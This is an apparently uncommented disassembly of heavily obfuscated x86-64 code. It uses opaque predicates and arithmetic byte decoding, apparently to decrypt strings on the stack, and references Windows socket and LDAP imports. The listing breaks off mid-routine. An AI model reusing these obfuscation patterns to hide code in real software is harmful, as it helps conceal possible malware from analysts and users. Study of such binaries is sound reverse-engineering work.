jbe 0x1401e9754
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401e9732
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x1401e970c
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x1401e96ea
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x1401e96c9
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x1401e96a7
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401e9681
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x1401e965f
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x1401e9639
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401e9617
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x1401e91d0
lea rdi, [r11 + 2]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401e9c7f
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x1401e9c5d
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x1401e93cf
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x1401e93ad
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x1401e938b
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401e95ba
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x1401e9560
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x1401e9515
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x1401e94eb
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x1401e91d0
lea rdi, [r11 + 0x200]
lea r11, [rdi + 2]
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x1401e94c9
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401e94b5
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x1401e9493
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401e947f
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x1401e945d
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x1401e9449
lea rax, [r11 + 5]
cmp rdi, rax
ja 0x1401e9427
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x1401e9413
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x1401e93f1
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x1401e91d0
lea rdi, [r11 + 8]
lea r11, [rdi + 0x200]
jmp 0x1401e91d0
movabs rcx, 0xf222b829022d8229
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1f
jmp 0x1401e91c3
movabs rcx, 0x6be399e26eceecf3
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x5b
jmp 0x1401e915d
movabs rcx, 0xe5a47b9bdb7057bd
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2b
jmp 0x1401e90f5
movabs rcx, 0xcb5ef285b08f5b8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x1401e9ac8
movabs rdx, 0x8676d0e1c7aa6082
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x1401e971b
movabs rcx, 0x37b29b344bcb4c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x1401e9b32
movabs rdx, 0x79f89454a0ed3616
mov ecx, 0x33
jmp 0x1401e96d8
movabs rcx, 0xf3b9760e0d8ea0e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x1401e9b85
movabs rdx, 0x6d7a57c77a300baa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
jmp 0x1401e9690
movabs rcx, 0xe73b3980e6d17674
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x1401e9bbb
movabs rdx, 0x60fc1b3a5372e13e
mov ecx, Ordinal_41
jmp 0x1401e9648
movabs rcx, 0xdabcfcf3c0144c08
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x38
jmp 0x1401e9c41
movabs rcx, 0xb1f31434fa7d701
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 7
mov byte [rbp + r10 + 0x440], bl
jmp 0x1401e9c50
movabs rcx, 0x84e012fcbc4941cb
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x73
cmp r11, 0x20
jb 0x1401e9508
movabs rcx, 0xbe93080f5bd7b9c2
add rcx, r10
mov al, cl
and al, r9b
mov edx, Ordinal_27
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x1401e9ac8
movabs rcx, 0xfea0f4b628eaac95
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x13
cmp rdi, 0x61
jae 0x1401e99ed
lea rax, [r11 + 6]
cmp rdi, rax
jbe 0x1401e993c
movabs rdx, 0x801bd94d9a25e5a6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e9532
movabs rcx, 0x7861d66f958c175f
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x67
lea rax, [r11 + rdi]
cmp rax, 6
je 0x1401e9a1b
lea rax, [r11 + 0x80]
cmp rdi, rax
jbe 0x1401e9861
movabs rcx, 0x7e851b688ec4c6ef
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x77
jmp 0x1401e957d
movabs rcx, 0x988735e4446b84a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 6
jmp 0x1401e9c41
movabs rdx, 0x83495517b0e82314
mov ecx, Ordinal_60
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e9bed
movabs rcx, 0xfd0a36d11d898dde
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x12
jmp 0x1401e9bbb
movabs rdx, 0x76cb188a8a2af8a8
mov ecx, 0x34
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e9b88
movabs rcx, 0xf08bfa43f6cc6372
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
jmp 0x1401e9b85
movabs rdx, 0x6a4cdbfd636dce3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401e9a11
movabs rcx, 0xe40dbdb6d00f3906
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
jmp 0x1401e9b32
movabs rdx, 0x5dce9f703cb0a3d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e9b0b
movabs rcx, 0xd78f8129a9520e9a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x36
jmp 0x1401e9ac8
lea rax, [r11 + 0x20]
cmp rdi, rax
jae 0x1401e9776
lea rcx, [r10 + rsi]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3d
jmp 0x1401e95d7
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e97a1
movabs rcx, 0x32d7bca16c23d6e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 2
jmp 0x1401e9c41
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401e97d0
movabs rdx, 0xfabb8573d7f67da
mov ecx, 5
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e9bbb
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e97ff
movabs rdx, 0x1c29f4e4643c9246
mov ecx, ntohl
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e9b85
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401e982e
movabs rdx, 0x28a831718af9bcb2
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e9b32
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401e95d7
movabs rdx, 0x35266dfeb1b6e71e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e9ac8
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e988c
movabs rcx, 0x4c439af22235c25
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 3
jmp 0x1401e9ac8
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401e98b7
movabs rcx, 0x1142763c48e08691
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 9
jmp 0x1401e9b32
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401e98e2
movabs rcx, 0x97819482dc3f1bc7
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x71
jmp 0x1401e9b5c
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e990d
movabs rcx, 0xa3ffd11002fc4633
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x65
jmp 0x1401e9b88
lea rax, [r11 + 8]
cmp rdi, rax
jne 0x1401e957d
movabs rcx, 0x36bd2be3bd1805d5
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2d
jmp 0x1401e9c41
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401e9967
movabs rcx, 0x65af7942d847adc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x1401e9c41
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401e9984
movabs rdx, 0x12d934215441a548
mov ecx, 4
jmp 0x1401e97b9
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401e99a1
movabs rdx, 0x1f5770ae7afecfb4
mov ecx, 0xa
jmp 0x1401e97e8
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401e99cc
movabs rcx, 0xb214cb82351a8f56
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5a
jmp 0x1401e9b0b
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401e9532
movabs rdx, 0x3853e9c8c879248c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401e984a
movabs rdx, 0x44d22655ef364ef8
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r10 + 0x440]
add bl, dl
add bl, r9b
jmp 0x1401e9b5c
movabs rcx, 0xcb11449c8294e42e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x440]
lea ebx, [r9 + rcx]
sub bl, 0x42
jmp 0x1401e9bbb
movabs rcx, 0x338fb019a655c867
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x2f
jmp 0x1401e9bed
movabs rcx, 0xa0d25545ec3a08c5
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x63
jmp 0x1401e9b85
movabs rcx, 0x945418b8c57cde59
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6f
jmp 0x1401e9b32
movabs rcx, 0x87d5dc2b9ebfb3ed
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7b
movabs rcx, 0x81b29732a587045d
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x75
add cl, r9b
mov byte [rbp + r10 + 0x440], cl
jmp 0x1401e9b0b
movabs rcx, 0xf5188157e4a3f44b
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xd
mov eax, 1
add r11, rax
jmp 0x1401e9b37
movabs rcx, 0x6ed9631151455f15
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x6d
mov eax, 1
sub r10, rax
jmp 0x1401e9c55
movabs rcx, 0xe89a44cabde6c9df
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x19
movabs rcx, 0x7f1b57938e59993
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 5
add r9b, bl
add r9b, cl
mov byte [rbp + r10 + 0x440], r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401e9c50
mov r9, r8
movabs rdx, 0x55dce9f703cb0a3d
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov bl, r8b
sub bl, al
add bl, 0x55
add bl, dl
movabs rdx, 0x8e30d3bfcc442ec9
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov cl, r9b
sub cl, al
sub cl, 0x7f
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x440], al
inc r11
add rax, r11
sub r10, rax
movabs rdx, 0x515062e315f37964
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x440], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x1401e9c41
movabs rcx, 0x495ead69dd0ddfd1
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x49
movzx eax, byte [rbp + r10 + 0x440]
add rax, r11
add r10, rax
mov eax, 1
add r10, rax
jmp 0x1401e90e2
movabs rcx, 0x5f655d554811c287
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x4f
jmp 0x1401e90dd
movabs rcx, 0xd9263f0eb4b32d51
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x37
jmp 0x1401e90cd
lea rsi, [rbp + 0x1462464]
jmp 0x1401e9cba
lea rsi, [rbp + 0x1356eff]
jmp 0x1401e9cba
lea rsi, [rbp + 0x440]
mov byte [rbp + 0x10a0], 5
mov byte [rbp + 0x10a1], 0xc1
mov byte [rbp + 0x10a2], 0x76
mov byte [rbp + 0x10a3], Ordinal_200
mov byte [rbp + 0x10a4], WSASetLastError
mov byte [rbp + 0x10a5], Ordinal_200
mov byte [rbp + 0x10a6], 0x63
mov byte [rbp + 0x10a7], Ordinal_200
mov byte [rbp + 0x10a8], 0x7a
mov byte [rbp + 0x10a9], 0xc9
mov byte [rbp + 0x10aa], WSASetLastError
mov byte [rbp + 0x10ab], 0xcb
mov byte [rbp + 0x10ac], Ordinal_45
mov byte [rbp + 0x10ad], Ordinal_211
mov byte [rbp + 0x10ae], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x10af], Ordinal_211
mov byte [rbp + 0x10b0], 0x62
mov byte [rbp + 0x10b1], Ordinal_211
mov byte [rbp + 0x10b2], 0x7d
mov byte [rbp + 0x10b3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x10b4], 0x60
mov byte [rbp + 0x10b5], Ordinal_217
mov byte [rbp + 0x10b6], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x10b7], Ordinal_217
mov byte [rbp + 0x10b8], 0x7b
mov byte [rbp + 0x10b9], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x10ba], WSASetLastError
mov byte [rbp + 0x10bb], 0xdb
mov byte [rbp + 0x10bc], 0x75
mov byte [rbp + 0x10bd], 0xdd
mov byte [rbp + 0x10be], WSACleanup
mov byte [rbp + 0x10bf], 0xdf
mov byte [rbp + 0x10c0], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x10c1], 0xa1
mov byte [rbp + 0x10c2], 0x42
mov byte [rbp + 0x10c3], 0xa3
mov byte [rbp + 0x10c4], Ordinal_79
mov byte [rbp + 0x10c5], 0xa5
mov byte [rbp + 0x10c6], 0x46
mov byte [rbp + 0x10c7], 0xa7
mov byte [rbp + 0x10c8], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x10c9], 0xa9
mov byte [rbp + 0x10ca], Ordinal_79
mov byte [rbp + 0x10cb], 0xab
mov byte [rbp + 0x10cc], WSAGetLastError
mov byte [rbp + 0x10cd], 0xad
mov byte [rbp + 0x10ce], Ordinal_32
mov byte [rbp + 0x10cf], 0xaf
mov byte [rbp + 0x10d0], 2
mov byte [rbp + 0x10d1], 0xb1
mov byte [rbp + 0x10d2], Ordinal_32
mov byte [rbp + 0x10d3], 0xb3
mov byte [rbp + 0x10d4], 6
mov byte [rbp + 0x10d5], 0xb5
mov byte [rbp + 0x10d6], 0x56
mov byte [rbp + 0x10d7], 0xb7
mov byte [rbp + 0x10d8], 0x7d
mov byte [rbp + 0x10d9], 0xb9
mov byte [rbp + 0x10da], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x10db], 0xbb
mov byte [rbp + 0x10dc], Ordinal_27
mov byte [rbp + 0x10dd], 0xbd
mov eax, 8
mov byte [rbp + 0x10de], al
mov byte [rbp + 0x10df], 0xbf
mov byte [rbp + 0x10e0], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x10e1], 0x81
mov byte [rbp + 0x10e2], Ordinal_60
mov byte [rbp + 0x10e3], 0x83
mov byte [rbp + 0x10e4], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x10e5], 0x85
mov byte [rbp + 0x10e6], Ordinal_45
mov byte [rbp + 0x10e7], 0x87
mov byte [rbp + 0x10e8], Ordinal_50
mov byte [rbp + 0x10e9], Ordinal_143
mov byte [rbp + 0x10ea], WSASetLastError
mov byte [rbp + 0x10eb], Ordinal_143
lea r15d, [rax + 0x38]
mov byte [rbp + 0x10ec], r15b
mov byte [rbp + 0x10ed], Ordinal_143
mov byte [rbp + 0x10ee], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x10ef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x10f0], Ordinal_50
mov byte [rbp + 0x10f1], __WSAFDIsSet
mov byte [rbp + 0x10f2], Ordinal_60
mov byte [rbp + 0x10f3], __WSAFDIsSet
mov byte [rbp + 0x10f4], Ordinal_50
mov byte [rbp + 0x10f5], __WSAFDIsSet
mov byte [rbp + 0x10f6], Ordinal_41
mov byte [rbp + 0x10f7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x10f8], 0x78
mov byte [rbp + 0x10f9], 0x99
mov byte [rbp + 0x10fa], 0x47
mov byte [rbp + 0x10fb], 0x9b
mov byte [rbp + 0x10fc], 0x9c
mov byte [rbp + 0x10fd], 0x9d
xor eax, eax
mov qword [rbp + 0x10fe], rax
movabs r14, 0x118055364c6acfa0
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x66
jae 0x1401ea9f6
movzx r9d, byte [rbp + r10 + 0x10a0]
mov r8, r9
cmp rdi, r10
ja 0x1401ea9ed
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401e9fc1
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
jmp 0x1401ea21d
je 0x1401ea989
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401ea930
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401ea8d1
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401ea87c
cmp r11, r10
ja 0x1401ea9e4
lea rax, [r11 + 0x1000]
cmp rdi, rax
jae 0x1401ea026
movabs rdx, 0x6f86fd7444c30820
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401ea04d
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401ea859
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401ea835
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401ea826
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x1401ea56c
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x1401ea54a
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401ea52b
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x1401ea507
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401ea4f8
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x1401ea4d6
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x1401ea4b7
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401ea495
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x1401ea473
lea rax, [r11 + 0x42]
cmp rdi, rax
je 0x1401ea060
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 5]
lea rax, [r11 + 0x40]
cmp rdi, rax
jb 0x1401ea9c2
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x1401ea225
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401ea203
lea rax, [r11 + 0x20]
cmp rdi, rax
jb 0x1401ea1e0
lea rax, [r11 + 2]
cmp rdi, rax
jb 0x1401ea3d6
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jb 0x1401ea3c5
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x1401ea37e
lea rax, [r11 + 0x2a]
cmp rdi, rax
jb 0x1401ea354
lea rdi, [r11 + 9]
lea r11, [rdi + 0x80]
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x1401ea335
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x1401ea311
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x1401ea2ef
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x1401ea2cd
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x1401ea2ae
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401ea28c
lea rax, [r11 + 0x1000]
cmp rdi, rax
ja 0x1401ea26a
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x1401ea24b
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401ea060
lea rdi, [r11 + 0x10]
lea r11, [rdi + 0x3e8]
jmp 0x1401ea060
movabs rdx, 0x80ae447b7dfebbe0
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, dl
sub bl, r8b
jmp 0x1401ea053
movabs rcx, 0x5dad9a0ee5291ca0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x1401e9fee
movabs rdx, 0x3aacefa24c537d60
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401e9f93
movabs rcx, 0x7c37eba226184100
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x1401ea899
movabs rcx, 0x593741358d42a1c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x1401ea8c1
movabs rcx, 0x363696c8f46d0280
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x1401ea852
movabs rcx, 0xf03541efc2c1c400
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x1401ea91b
movabs rcx, 0xcd34978329ec24c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x1401ea91e
movabs rcx, 0xaa33ed1691168580
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x1401ea7f1
movabs rdx, 0x873342a9f840e640
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ea954
movabs rcx, 0x6432983d5f6b4700
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x1401ea9a6
movabs rcx, 0xcb0ee2de15538e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
mov byte [rbp + r10 + 0x10a0], bl
jmp 0x1401ea9b5
movabs rcx, 0xe9b043c1487f99a0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
cmp r11, r15
jb 0x1401ea371
movabs rcx, 0xf921f3a2728eb9c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x80]
jmp 0x1401ea899
movabs rdx, 0xc6af9954afa9fa60
mov ecx, Ordinal_50
jmp 0x1401ea424
movabs rdx, 0xa3aeeee816d45b20
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [rdi + r11]
cmp rax, 0xa
je 0x1401ea7ca
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x1401ea616
movabs rdx, 0x2b944df035737920
mov ecx, reloc.WS2_32.dll_recv
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, r8
jae 0x1401ea7a7
lea rax, [r11 + 0x400]
cmp rdi, rax
jbe 0x1401ea6a0
movabs rdx, 0x9b1b4b647a368140
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ea39b
movabs rcx, 0x9d29f0b99c9230c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x1401ea9a6
movabs rcx, 0x7a29464d03bc9180
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x1401ea954
movabs rdx, 0x57289be06ae6f240
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401ea7ec
movabs rcx, 0x11274707393bb3c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x1401ea91b
movabs rcx, 0xee269c9aa0661480
jmp 0x1401ea5fe
movabs rdx, 0xcb25f22e07907540
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ea852
movabs rcx, 0xa82547c16ebad600
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
jmp 0x1401ea8c1
movabs rcx, 0x85249d54d5e536c0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x1401ea899
lea rax, [r11 + 0x42]
cmp rdi, rax
jae 0x1401ea58f
lea rdx, [r10 + r14]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x60
add bl, dl
jmp 0x1401ea3f7
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401ea5bc
movabs rdx, 0xdf0dfae889861040
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401ea9a6
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401ea5e7
movabs rcx, 0x250f4fc1bb314ec0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
